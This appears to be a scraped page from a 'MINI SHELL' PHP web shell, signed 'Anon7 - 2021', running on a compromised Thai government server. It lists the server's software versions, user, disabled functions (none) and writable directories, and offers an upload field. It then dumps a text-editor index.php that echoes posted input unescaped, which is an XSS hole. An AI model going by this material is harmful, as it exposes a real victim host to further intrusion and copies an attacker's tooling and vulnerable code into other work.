MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/eoffice/common/text_editor/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/eoffice/common/text_editor/index.php
<?
if($_SERVER[REQUEST_METHOD] == "POST"){ 


//	$answer 	= ereg_replace('\"', "'", $answer);
	$html 		= htmlspecialchars($answer);
	echo $answer."<hr>";
	echo $html;
	echo "<hr><a href=\"#\" onClick=\"history.go(-1);\">Back</a>";
	exit;
	
}
?>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<title>Text Editor :.</title>
</head>
<script language="javascript">
<?
if($action == "edit"){	
	$data	= " Example <br>data&nbsp;in database ";
	echo	"data = '" . addslashes($data) . "';";
	$onload = "onLoad=\"chk_edit()\"";
}
?>

function chk_edit() {
if(data == ""){ data = '&nbsp;'; }
	if(frameEditor.idContent.document.body.innerHTML == "") frameEditor.idContent.document.body.innerHTML = data;	
}
</script>
<body <?=$onload?>>
<form name="post" method="post" encType="multipart/form-data" onSubmit="return check();">
<input type="hidden" name="answer"><br> 
<iframe 
 style		= "border-right:#aaaaaa 1px solid; border-top:#aaaaaa 1px solid; border-left:#aaaaaa 1px solid; border-bottom:#aaaaaa 1px solid;" 
 name	= "frameEditor" src="editor/text_editor.php" frameBorder="0" width="715" scrolling="no" height="300"> 
</iframe>
<br>
<input type="submit" value="Send" style="width:100px;">
<input onClick="ClearContent();" type="reset" value="ยกเลิก" name="Reset" style="width:100px;">  
<script language="javascript">
function check() {
	if (frameEditor.idContent.document.body.innerHTML == "") {
		alert("โปรดกรอกข้อมูล ในส่วนของรายละเอียด");
		frameEditor.idContent.focus();
		return false;
	} 
		post.answer.value = frameEditor.idContent.document.body.innerHTML;
}

function ClearContent(){
	frameEditor.idContent.document.body.innerHTML = "";
}
</script>
</form>
</body>
</html>

Anon7 - 2021